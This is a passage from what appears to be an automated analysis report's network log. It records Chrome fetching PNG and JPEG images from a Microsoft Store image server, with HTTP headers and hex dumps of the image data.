d6 47 da 83 02 b7 2e e2 e4 83 38 fb 08 6e bd 01 6b 91 e7 18 0c b0 d8 13 dd 28 ab 11 1b a3 27 68 30 b2 e5 4d 2e 53 c6 
e1 18 5b 07 38 b5 06 22 38 07 55 18 83 51 65 ea 3a b5 1c 88 d8 da ac 73 7b 7b 67 6f 7f 2f cb d3 b5 f5 35 c3 ac ce 0b 71 
8b dd 50 cf 54 c3 27 81 43 90 ab 37 6f dc 7b cf 85 2a f8 3a d4 31 72 8f 00 11 15 09 2a 2a 21 04 11 e7 3d 98 3b eb eb d3 
c9 58 43 b0 44 22 52 0f 47 0b 3e 24 5d 13 8e b4 08 1a a0 d1 5e e2 5c 3d 1e 8e cb a2 10 11 66 0e 21 7c cd 09 39 da d6 
1f 61 2f d4 18 d3 e9 74 38 ba d7 a0 5f 83 ef 23 6a 69 d2 4d cc 
Data Ascii: ]kd:Zx(!B\{xCz>L6CM;*/Hs&P|]"#,KsRhG.8nk('h0M.S[8"8UQe:s{{go/5qPT'C7o{*:1r**!=;XCD"RG>$]^\=f!|9a/t
8_#jiM

2022-05-26 11:45:36 UTC 918 IN Data Raw: aa 42 29 5a 25 84 64 88 0d a8 51 51 63 a0 ac 6a 34 b1 24 ad 6a 82 da 13 8e 4f 44 04 61 86 44 d9 5f cc 6e 3c 
7e f0 c6 6b af ef ec 9e 5e df d9 8e 22 75 55 1d 3f d9 5b 4c a6 31 c4 2c cf 5c e6 ac cb 54 55 88 06 c3 a1 eb 95 fb 0f 1f 5d 
7f ed f5 f7 af 7f 28 4d f5 6b 9f 38 f3 57 be fc fc 97 3e 76 71 e7 d4 b6 19 0c 91 15 20 0b 90 08 a2 68 94 13 d7 3c 26 fb 8c 
ce 9e 56 74 fc 8e 34 99 58 2a 51 63 5c 51 8f 7d 17 1b 2d 31 c5 52 51 ca d7 65 43 9c 22 2e 53 2b 4d 87 d9 10 7d 1b 9a 
da d7 b5 b6 cd 8d 77 de 69 fb 67 2e bc f4 f9 d6 07 62 c7 36 66 85 18 83 dc db 98 3b 9f 67 45 66 cb e5 b2 74 a6 f7 f2 27 f7 
c7 6b b3 1b 6f 1e ce a7 69 93 e6 95 49 85 81 3a a7 86 89 1d 75 49 24 82 74 ef 44 66 94 35 b6 1e 42 41 74 7e b4 e0 3c 
03 f8 5c e1 fe ea cf 6f fd d4 a7 36 7f ef 3b 7b df 7c 
Data Ascii: B)Z%dQQcj4$jODaD_n<~k^"uU?[L1,\TU](Mk8W>vq h<&Vt4X*Qc\Q}-1RQeC".S+M}wig.b6f;gEft'koiI:uI
$tDf5BAt~<\o6;{|

Timestamp
kBytes
transferred

Direction Data
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2022-05-26 11:45:36 UTC 926 IN Data Raw: 78 49 2f cd 20 31 36 12 42 f4 6d f0 41 62 d4 36 6a dd a2 0a 58 b6 a8 3c 9a 80 65 83 65 83 a0 d0 22 2f 2e 5e 
59 bb f4 b1 fe b9 e7 07 9b a7 47 83 7e 2f b7 f9 ea 47 96 e5 d6 39 63 1d b3 21 36 9d 5e 37 75 95 84 d7 a7 a3 44 ca 24 0d 
d1 7b ef db ce 6b 2e 86 28 01 59 56 9e 3d 7b fe dc b9 73 59 e6 44 7e 62 45 3e 59 94 55 35 c6 d8 b6 5e c4 bf f3 fe dd 3f 
fe f6 87 ce 59 66 0b 62 fb e8 e8 c0 b1 29 b2 2c 77 59 66 ac 61 8e 21 32 b5 de 18 ef 33 6b 9d b5 c6 59 97 7e 65 bb e0 77 
63 d9 58 63 c8 b0 0f de a4 77 85 08 11 c5 10 53 ab d0 14 51 4f 12 45 10 23 07 56 95 10 22 a9 5a e8 6a 45 39 f9 e2 82 84 
20 2b 13 47 e2 48 c4 5d 5a dc d3 84 17 7d 86 1a cd 38 09 43 25 26 63 d9 75 df ba 93 b8 b1 66 ce 03 63 5e fe c4 c7 de fe 
f1 5b 1f 7d 33 9c f9 ec 9f 11 ce 1e de bd dd b6 7e f7 fc 
Data Ascii: xI/ 16BmAb6jX<ee"/.^YG~/G9c!6^7uD${k.(YV={sYD~bE>YU5^?Yfb),wYfa!23kY~ewcXcwSQOE#V"ZjE9 +
GH]Z}8C%&cufc^[}3~

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

45 192.168.2.4 49782 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:45:36 UTC 779 OUT GET /image/apps.7873.9007199266243449.90709ce3-050c-4cef-8d4a-9ef213b89ef2.7885dc21-4015-4284-a596-d
3d24cf6c1b8?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-26 11:45:36 UTC 841 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 4575
Content-Type: image/png
Last-Modified: Tue, 06 Oct 2020 07:51:50 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDg2OUNDQUY1N0U0QUI"
MS-CV: zZpfTR4fs0yHFO1I.0
Access-Control-Expose-Headers: MS-CV
Date: Thu, 26 May 2022 11:45:36 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-26 11:45:36 UTC 842 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 03 00 00 00 4e a3 7e 47 00 00 
03 00 50 4c 54 45 00 1e 36 23 3d 52 b7 bf c6 2b b0 fe ab b5 bc 37 4f 61 bf c6 cc ff ff ff 2c b1 ff 1f 3a 4f 2b af fd 09 40 64 
00 1f 38 00 1f 37 00 21 3a 00 20 39 00 1e 37 00 22 3c 00 21 3b 01 23 3d 01 24 3f 20 8f d2 2b ae fc 0e 54 82 10 58 87 22 
97 dc 1a 77 b1 01 28 44 01 24 3e 02 28 45 00 21 3b 29 ab f7 21 92 d6 09 42 68 10 59 88 02 2a 47 00 20 3a 0c 4b 75 04 
2f 4e 14 65 98 20 91 d4 fe fe fe 29 ad fa 03 2b 49 01 27 43 21 93 d8 08 3e 62 2a af fc 0b 4a 73 1e 87 c7 26 a3 ed 0d 4d 
77 06 36 58 01 23 3e 1d 84 c3 01 25 40 0b 49 71 1e 89 c9 07 38 5b 21 94 d8 1b 80 be 1b 7f bc 08 3f 64 2a ae fb 28 a8 f3 
22 96 da 03 2d 4b 07 3a 5d 0f 56 83 02 25 40 24 9c e3 0d 
Data Ascii: PNGIHDR,,N~GPLTE6#=R+7Oa,:O+@d87!: 97"<!;#=$? +TX"w(D$>(E!;)!BhY*G :Ku/Ne )+I'C!>b*Js&Mw
6X#>%@Iq8[!?d*("-K:]V%@$

Session ID Source IP Source Port Destination IP
Destination
Port

Process

46 192.168.2.4 49783 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:45:36 UTC 795 OUT GET /image/apps.59367.13510798885854323.dbec43fa-fcea-4036-9b1c-96de66922c18.da850a8e-5b3f-49fd-b3dc-
6a8c0db400e4?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-26 11:45:36 UTC 863 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 45735
Content-Type: image/png
Last-Modified: Wed, 04 Nov 2020 14:51:15 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDg4MEQxMTQ2RkU2Q0E"
MS-CV: hrPmTcUjH02eZ8TI.0
Access-Control-Expose-Headers: MS-CV
Date: Thu, 26 May 2022 11:45:36 GMT
Connection: close
Access-Control-Allow-Origin: *
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2022-05-26 11:45:36 UTC 863 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 02 00 00 00 68 9f a7 5f 00 00 00 
09 70 48 59 73 00 00 2e 23 00 00 2e 23 01 78 a5 3f 76 00 00 08 ae 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 
78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 
70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 
3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 4
3 6f 72 65 20 35 2e 36 2d 63 31 34 35 20 37 39 2e 31 36 33 34 39 39 2c 20 32 30 31 38 2f 30 38 2f 31 33 2d 31 36 3a 34 
30 3a 32 32 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 
Data Ascii: PNGIHDRh_pHYs.#.#x?viTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22        "> 
<rdf:RD

2022-05-26 11:45:36 UTC 940 IN Data Raw: 71 48 56 59 06 10 b7 b9 3e c3 71 1d 54 28 bc 80 59 82 73 08 c8 36 41 b2 59 ad 39 5f 28 1c 99 9a cd bf fe b7 
c7 76 5c d7 e8 9e 6f 1c 7a a6 bf af 20 05 20 33 c4 cd 74 78 a3 db 7a c3 a1 1f fe c3 b1 3f fb e8 2e ec 86 95 80 2c 49 01 88 
ec 08 d8 13 18 64 e3 f7 40 a2 37 e2 06 19 5c 53 00 aa 68 69 d1 0a a1 85 d2 a8 23 30 75 d0 a5 7d 57 4f 3c 79 b2 31 bf 1a 
47 81 cc 22 33 d9 83 b0 33 47 b9 88 11 3b ad 16 20 30 09 a5 30 b5 46 48 1d 06 7e a3 9d ee 1f c4 bd e3 e5 96 41 a9 b5 
f6 3d 21 b3 31 67 90 4a 09 ad 50 29 97 98 e2 e6 91 ea 86 d1 e7 be f0 af 05 c1 63 b7 bf 9a 9c 65 66 21 84 94 a2 34 3e 3a 
76 eb cd 5b 7f e6 dd 1b df f1 53 d1 fa 1d ad 4e 70 e9 e0 d9 93 df 7f ea e4 f7 1e 5b 7a f8 d9 74 b9 5e de 38 a6 cb b9 b4 d1 
4c d3 44 23 ba d9 8b 1f f8 8b 7f 9b 6a 13 04 fd 6f da 
Data Ascii: qHVY>qT(Ys6AY9_(v\oz  3txz?.,Id@7\Shi#0u}WO<y1G"33G; 00FH~A=!1gJP)cef!4>:v[SNp[zt^8LD#jo

2022-05-26 11:45:36 UTC 949 IN Data Raw: ae 59 b7 5e fa 01 92 23 29 c5 ba 75 86 b9 b5 b2 6c 89 c2 30 3c dc 6e 5d 48 d3 f3 ce 1e 05 78 f3 cf bd f7 ff b9 
e7 3b fb 5e f5 2a 01 10 c7 31 38 57 1c 99 e8 16 6e ba f7 13 7f f1 f8 f7 26 ff f5 de 99 17 1e 3e b9 47 3c 11 6c d9 06 63 b7 
b9 f3 4f cf 7f bf b5 25 57 4d eb 53 d5 37 be 43 59 28 cd 5f 7a 69 b6 3b fd cd e9 09 73 6d 65 e0 77 e2 ce a6 87 4e af 84 8b 
47 4b 79 e1 8f 8e cb 42 09 64 84 32 44 1d 82 d4 d9 32 69 60 5a db bd e1 d8 11 90 43 22 a6 1e 41 0e 10 b1 35 59 82 cc 
c6 32 64 47 e8 90 1d 93 23 e7 98 18 ac 03 66 76 8e ad 03 26 48 1d 91 60 72 2e b5 64 1d a5 44 29 93 23 97 c9 c8 11 19 
26 c8 c8 42 d6 0a 7d 16 52 03 b4 b6 ed 80 01 8c 05 43 e0 2c 10 a1 45 70 0e 1d a3 63 b4 2c 2c 4b 87 c2 a1 76 a8 50 69 
3f 0c c2 20 18 dd 75 d3 81 73 8f 3d fb e2 19 61 c9 16 01 
Data Ascii: Y^#)ul0<n]Hx;^*18Wn&>G<lcO%WMS7CY(_zi;smewNGKyBd2D2i`ZC"A5Y2dG#fv&H`r.dD)#&B}RC,Epc,,KvP
i? us=a

2022-05-26 11:45:36 UTC 965 IN Data Raw: 7b f9 c2 e7 ff fc 75 5e ab 11 cc 69 14 45 81 eb 97 5c bf 3f 1c 18 8c da bd 6e 7b 65 85 52 1a f9 81 e7 79 be e7 
07 be 1f 79 be cb b9 94 d2 a3 54 6b 2d a5 d4 08 5b 03 da 58 ad 75 9e e6 59 92 f0 38 a6 8e 83 19 c3 88 02 10 0b 0a 01 
06 8a f7 12 42 4c 00 23 8c b0 83 09 26 24 a3 f4 e4 7b 3f 50 bd f4 c3 97 bf fe 87 af dc be d6 f9 f8 cf 1c 3c 72 72 bc 56 2f 8f 
4d 3a 03 3f ee 77 95 14 23 9d 9c 31 d6 23 8c bb 2a cf a5 36 56 5a 84 11 41 84 50 0a cc 5a 63 1c 25 3d a9 7d a1 72 6c 72 
65 52 ac 12 89 32 8e 0b 38 4f a9 23 c3 71 cc dd 24 69 0e 20 a6 65 04 ca 68 29 75 5a 76 a5 ad a7 fa 70 22 74 26 64 9a 
66 e9 70 20 95 92 88 49 05 22 cf b2 5e 7b b7 df 6a e4 09 48 01 80 90 eb 61 ee 52 ca a9 4a b0 cc 0d 75 6c d5 07 a7 80 
bc 92 57 a8 56 cb b5 42 6d ac 50 ae 85 61 e4 3b cc a1 98 
Data Ascii: {u^iE\?n{eRyyTk-[XuY8BL#&${?P<rrV/M:?w#1#*6VZAPZc%=}rlreR28O#q$i eh)uZvp"t&dfp I"^{jHaRJ
ulWVBmPa;

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

47 192.168.2.4 49784 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:45:36 UTC 846 OUT GET /image/apps.8341.13510798886747090.a0953092-5fc3-46f0-aefa-796cb3a9b90b.fc0c6be7-c064-44dc-a7df-
81e7097e3c93?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-26 11:45:36 UTC 969 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 134215
Content-Type: image/jpeg
Last-Modified: Mon, 09 Aug 2021 18:24:58 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDk1QjYyRkVDQ0U2RjU"
MS-CV: SxgH/nslsk+u9Yr4.0
Access-Control-Expose-Headers: MS-CV
Date: Thu, 26 May 2022 11:45:36 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-26 11:45:36 UTC 970 IN Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 
79 00 01 00 04 00 00 00 64 00 00 ff e1 03 8e 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 
2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 
48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 
64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 36 
2e 30 2d 63 30 30 36 20 37 39 2e 64 61 62 61 63 62 62 2c 20 32 30 32 31 2f 30 34 2f 31 34 2d 30 30 3a 33 39 3a 34 34 
20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 
Data Ascii: ExifII*Duckydhttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmp
meta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c006 79.dabacbb, 2021/04/14-00:39:44        "> <rdf:RDF 
x
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2022-05-26 11:45:36 UTC 985 IN Data Raw: 9a dd ba 89 09 fa 89 ae 0a 5e e7 da b5 e7 13 b1 dd 61 24 03 6e 23 c8 7d e4 05 48 3e 59 0c aa 0f 53 8a f0 77 
89 2e 74 56 42 82 c1 4a f6 a2 88 41 8c 7b 96 43 c7 dd 1a 2a ef dc 8f 21 35 44 55 f4 f8 7c 74 5e a4 ed b7 98 6d dc cf 21 
30 eb 2c 09 3f 64 1a 1f 0e 80 78 75 c0 16 0e 5c bb 9e ef 6d 1e d3 66 91 ee 3f 2e 90 b2 aa d7 ba cb ad 07 da a8 66 6a 80 
4f a7 a6 46 86 98 e4 2b 0a e1 95 97 3e ce 34 82 88 8a 93 e1 8c e5 02 46 61 51 40 39 83 63 d5 5a 7e d3 95 1a f6 a6 bb 
b5 fe 5d 35 eb 27 b6 ba 64 36 3a d9 50 8f 43 10 0e a2 33 2a 7c ab d4 1f 0f 3a e3 ee d5 be 6c 50 5c 27 2a f9 58 27 b9 8d 
c8 b8 81 64 78 fb 4a ff 00 86 b3 a8 24 89 34 12 16 45 15 d5 5f b0 16 b8 19 7f 72 4e 56 c9 b8 8f c0 2f 2a f9 13 01 98 ca 8b 
90 f1 06 47 51 8f db 45 8c c6 9e a2 5e 52 e8 b8 92 5c 47 
Data Ascii: ^a$n#}H>YSw.tVBJA{C*!5DU|t^m!0,?dxu\mf?.fjOF+>4FaQ@9cZ~]5'd6:PC3*|:lP\'*X'dxJ$4E_rNV/*GQE^R\G

2022-05-26 11:45:36 UTC 1001 IN Data Raw: 46 62 8e a5 87 83 0a e4 71 73 72 6e 2f 93 f9 1d c4 38 7e 25 89 16 b6 06 2b 92 96 92 eb 2e b9 b8 91 20 60 b1 
a8 a7 50 da 41 a9 87 1a 0b 5d 61 2f de df c7 8e 49 2a d7 c7 44 64 77 0f b8 8a f5 d2 49 74 9b 86 ff 00 b3 db 5b ed 22 31 
6c f4 76 77 3e 9a 2e 6a 02 8a b3 7a e8 4d 28 3d 34 d5 9e 23 bb 59 d8 78 17 2c bf ba e4 c6 79 2f 60 2d 14 50 c0 06 b0 64 
3a 64 2c ec 42 46 3b 25 91 6b ac d2 4d 5a 0e 91 5a 7e 77 8f 9c 39 cb b8 f6 6f e3 6e 6d cb 66 ce 71 89 14 f1 b1 8e 41 c2 
38 e3 23 3f 1e 8a 05 44 63 42 95 63 88 dd 4a c2 24 32 da aa 25 ab 22 b4 53 62 fd c9 92 0f 0d 48 02 b5 02 f7 b5 d1 8f f4 
f6 d5 b9 cf 3e cd b8 6e 8f 75 31 42 93 24 2c b1 84 06 9a 90 e9 57 a5 72 d4 a5 8b 10 28 40 15 c3 ff 00 35 dc f7 5d cf 8c 
47 ba 27 1d 93 6b d9 ee 9b f0 66 97 b9 24 93 29 a8 56 8a 
Data Ascii: Fbqsrn/8~%+. `PA]a/I*DdwIt["1lvw>.jzM(=4#Yx,y/`-Pd:d,BF;%kMZZ~w9onmfqA8#?DcBcJ$2%"SbH>nu
1B$,Wr(@5]G'kf$)V

2022-05-26 11:45:36 UTC 1003 IN Data Raw: 34 db 72 ed af 92 f1 48 27 e1 5b 84 97 5b 65 c2 b6 bb 95 8d a3 46 21 99 4a 40 b2 28 93 b4 48 3a e5 21 4c c4 
7a 40 8c 51 ae ee 3e e0 1e 31 e5 ea 8a 0c c3 c3 4b 7b cf 1b 7c c1 c4 e1 4a b1 c7 21 e1 d7 97 75 b5 39 f5 9d 5b 1f 2d d8 
e5 bd 6f 76 44 6a c9 57 6c 1a 8a 1c 88 ea 5a e2 38 8c 04 f8 aa 12 29 07 1a da bd d2 96 c2 e5 b8 67 be fb 76 df c9 fd a3 
9d d6 33 3c d0 5b ad cd 92 9f 48 92 29 a2 58 e4 73 17 da 91 25 a4 c4 2b 3c 13 17 01 18 79 7d b6 df 40 ca 86 4d 45 cd 3c 
4a ea f0 d4 1a a0 03 d2 a3 a5 6b d2 b8 4d bc 95 9a e4 dc 9b c9 79 87 20 e6 95 b5 b5 59 96 4b 75 26 7e 59 0e 9a 94 18 
f4 2f d4 a8 c6 44 ba 92 b4 51 91 22 55 4d 9b 63 1c 87 94 10 b5 82 6c a7 91 58 c6 22 a3 53 a9 bc 13 8c 6d 9c 43 8c 58 71 
bd 92 79 ee 36 5b 3b 70 96 f2 4d 2f 7a 43 09 25 a2 06 52 2b 
Data Ascii: 4rH'[[eF!J@(H:!Lz@Q>1K{|J!u9[-ovDjWlZ8)gv3<[H)Xs%+<y}@ME<JkMy YKu&~Y/DQ"UMclX"SmCXqy6[;p
M/zC%R+

2022-05-26 11:45:36 UTC 1019 IN Data Raw: 59 e3 a1 0e 1a 53 3c 1c d6 e0 47 b2 6f 05 ac f6 ab 68 26 79 65 af a9 63 94 47 e9 04 31 21 a8 07 a9 4a c8 75 
08 43 02 f9 09 6c c2 30 0f 2c 6d f3 d9 79 6e 01 86 e3 bc 79 81 d3 43 e3 da 39 99 72 64 d6 b6 3c 33 c5 21 b8 b0 b3 3d 2d 
21 eb e4 d7 46 b4 e4 6c b2 da d1 f3 ec ac 11 4b 26 de fa c1 50 62 70 10 6d 11 3e c7 d8 be 43 ed ff 00 20 83 60 bb dc 77 
18 f6 db 70 d7 7b 9e e1 2e 84 f9 fb a6 20 4d 72 63 61 24 9d 99 65 fc 0b 4b 78 c2 9e ca 47 1a fa 8c 8e 16 26 e8 bb 2d 8c 
4f b6 06 4b 76 70 20 b6 8f b6 1a 66 54 00 77 48 14 04 22 eb 9e 46 1a 63 8e 8a 08 01 14 dc d4 18 6c 85 8a 0e 21 f1 6b 8e 
a4 e3 38 f5 1d 50 6b 6c a7 d6 0e 35 6e 44 0c 7f 6a 3d 5d 9e 67 08 f1 40 e3 4c 6a 7a eb 20 95 70 e4 0a ca d0 8e ef 4e 92 
e4 56 39 4b d0 ee f3 5f 16 b4 e3 d1 49 1d aa a9 0c f5 55 
Data Ascii: YS<Goh&yecG1!JuCl0,mynyC9rd<3!=-!FlK&Pbpm>C `wp{. Mrca$eKxG&-OKvp fTwH"Fcl!k8Pkl5nDj=]g@Ljz 
pNV9K_IU

2022-05-26 11:45:36 UTC 1031 IN Data Raw: d8 e3 b3 64 1f 70 35 29 0c da ad ed 87 b7 1c 6b 97 f3 c1 ee 0e f7 1c 4f 0f 1f b0 79 ac 9e 4d 45 25 b8 b9 55 45 
59 15 41 32 76 90 34 e2 22 0a 89 02 33 8c 86 0b 16 1b ed ca ed 5f 2d 6b 61 36 e1 25 b5 c0 63 14 6c 11 84 32 10 ae fa 
98 85 aa 10 f2 a2 57 d6 d1 e9 a1 c5 2b c2 3c 12 c8 d9 75 cf 1f 5f e6 1f 91 43 c7 1c 65 e4 05 8f 08 c3 94 64 8b c7 39 ec 
5e 68 e3 ee 36 cd 6a 5b 16 14 50 e1 d5 76 b9 06 39 7c 85 33 ab 0b 35 d1 c1 11 8c 90 45 d0 09 d7 59 38 ce eb b3 70 28 
e6 4e 18 2f ee ed b7 ad 8e cd bb 97 6b f8 51 ee 16 f7 96 77 73 08 5d 54 44 e5 49 8b b9 12 12 f0 90 03 b1 05 71 56 bd ca 
e7 b7 73 5a 47 bd 49 60 90 de 26 f3 b8 ec a7 70 d0 15 ee 6d 06 db 7f 71 06 a2 cc d7 32 47 6f 71 03 46 a6 60 88 ef 23 b4 
23 fc c3 88 a5 6d ad 15 3b 6b 93 17 52 86 a2 57 2e f9 37 77 
Data Ascii: dp5)kOyME%UEYA2v4"3_-ka6%cl2W+<u_Ced9^h6j[Pv9|35EY8p(N/kQws]TDIqVsZGI`&pmq2Goq
F`##m;kRW.7w

2022-05-26 11:45:36 UTC 1047 IN Data Raw: 4e eb c3 22 8a d3 6d da 2e 77 9b c9 86 53 45 1c 8d 6f 16 74 a4 ad 12 bb 34 87 a8 8d 42 d4 75 61 89 df 91 be 
45 da 60 98 25 04 bc 76 0f 36 1a ea ee d2 43 87 75 c8 b4 a0 c2 23 5d 52 0e 12 35 65 52 61 f3 24 93 21 8d 5e fb 04 45 69 
e5 b4 0a e6 b7 f9 17 77 a7 ad a7 67 37 fb 81 86 74 b1 82 d6 38 aa 7b 33 3d cb 6b 2d d1 a6 0a b1 31 03 a8 88 15 a9 eb 
96 1e 78 4f 29 f7 1e f2 d2 5d f7 99 6d ef 63 b6 ce 14 5b 23 c4 b0 b3 11 52 cc 23 d6 f2 85 a5 33 94 d4 e4 40 18 4f f9 ef 22 
67 d9 fd 99 6e 6f 6c 0d 13 62 bf db b5 e7 71 8c c5 77 fe b0 fd 10 41 92 a8 9a 21 13 73 da 9f ca ad 5f 5e 8a fb 55 8e df 61 
18 86 d9 43 31 ea 69 fb be 8f 86 17 ee bb 95 ee ec df 8a c5 61 1e 15 eb f4 e2 b3 ae a3 14 a2 8e 1c 44 77 72 41 37 c8 2e 
8a e5 46 aa ea f7 3d 5d ab b7 bd ca aa ba ae ae 5f 8f 
Data Ascii: N"m.wSEot4BuaE`%v6Cu#]R5eRa$!^Eiwg7t8{3=k-1xO)]mc[#R#3@O"gnolbqwA!s_^UaC1iaDwrA7.F=]_

2022-05-26 11:45:36 UTC 1063 IN Data Raw: c8 f1 bb 21 e4 78 d5 bd 04 e2 4c a8 c7 b2 19 4d 61 ac 52 ae 51 02 15 99 81 65 cb f5 10 4d 45 6c 33 3b 5d 15 
8a e5 74 5e c3 91 6d 9b d4 7f 98 ed a2 58 68 d9 ac a9 a1 d0 9e b5 5a 9f 43 7d e1 f7 49 27 a1 38 8a df ec d7 3b 6c ed 6f 
75 a6 58 d9 34 b1 53 51 22 0f b2 6b 95 25 8f a0 3d 58 0f 30 31 f2 3c db f4 bd ff 00 ea 11 c4 70 28 b2 27 3a 2e 51 42 8a 8f 
4a bb 38 c8 e6 15 e1 6a 2e c7 ba b9 25 91 1b a7 a4 aa b9 2e 6a 2e a8 37 35 6a 4f 1c b1 b5 8c a3 f0 d8 d5 7c 74 b0 e9 9f 
8d 01 d3 e4 c8 c3 0a e0 84 6e 16 e2 de 43 ff 00 3b 10 a2 b7 f3 a9 e9 5f a6 80 ff 00 75 d7 e9 04 9a c7 b3 b3 63 12 69 b2 
ba 79 48 75 ab 09 5b b9 8f dc cb 5c 72 6a 0c 73 61 1d 35 d8 52 47 18 58 ff 00 5f f3 c7 d5 3f 9b a1 5e f3 b3 aa dc cd b6 4a 
29 6b 75 19 50 4f 40 49 aa 9f f7 24 00 fc 05 71 95 
Data Ascii: !xLMaRQeMEl3;]t^mXhZC}I'8;louX4SQ"k%=X01<p(':.QBJ8j.%.j.75jO|tnC;_uciyHu[\rjsa5RGX_?^J)kuPO@I$q

2022-05-26 11:45:37 UTC 1071 IN Data Raw: 76 d6 c8 23 bf 0d ba f5 5d 76 bb 5a 5d 33 f8 2b 4c 3e 90 55 07 f5 d3 12 bb 66 5a 07 f0 21 3f ac 9f ea 38 85 f8 
2f 83 40 b1 be e5 3c aa 47 6e 38 32 5e 52 c7 a8 cf 2c 8c 57 fb 7a 0c 2b 11 a7 b9 b4 63 11 8a 8a 57 49 b2 9c 34 46 a6 88 
ae 62 2a aa 22 75 9c fb 70 93 e7 2d 6c d0 12 d1 5b b3 81 fd f9 1b 48 3f 50 5e bf 1c 58 ff 00 66 ec 82 d8 dd 6e e4 50 bb 
2c 48 7e 85 a9 a7 d2 58 7e cc 37 ce 33 80 3c 9e df 21 cb 1d 0f 20 b0 8f 8c 1a 63 dd 01 e3 00 52 8a e2 48 10 34 53 41 5e 
78 f3 22 92 75 90 a4 8d 23 48 2b 1c 36 6f 57 fc 59 d0 e2 f6 e1 90 97 91 a2 55 54 00 1c ff 00 10 d4 fa 6a 08 34 4a 16 65 
06 b9 01 d0 e0 fb bb 5b d7 6c b5 e3 36 8b 29 b9 bb 94 77 17 a1 8e 25 a1 2d 4a 11 59 09 0a ac 72 a1 27 c3 17 e6 35 84 
cf ce a6 4c a6 c7 32 30 94 53 ac 01 5e 59 73 eb ec cd 3b 
Data Ascii: v#]vZ]3+L>UfZ!?8/@<Gn82^R,Wz+cWI4Fb*"up-l[H?P^XfnP,H~X~73<! cRH4SA^x"u#H+6oWYUTj4Je[l6)w%-
JYr'5L20S^Ys;

2022-05-26 11:45:37 UTC 1087 IN Data Raw: 81 2b 0f 04 8e 86 9a d6 bb 97 ac 67 39 55 55 55 55 57 55 55 55 5f 5e bf 37 81 d0 0a 00 00 c7 57 84 c0 64 29 
4c 44 f3 ae 39 c4 79 43 0e c8 b8 f3 3e a1 83 93 61 b9 7d 5c 9a 5c 82 8e c8 0c 3c 59 b0 66 0d 46 e5 44 7a 2a 82 5c 67 2a 
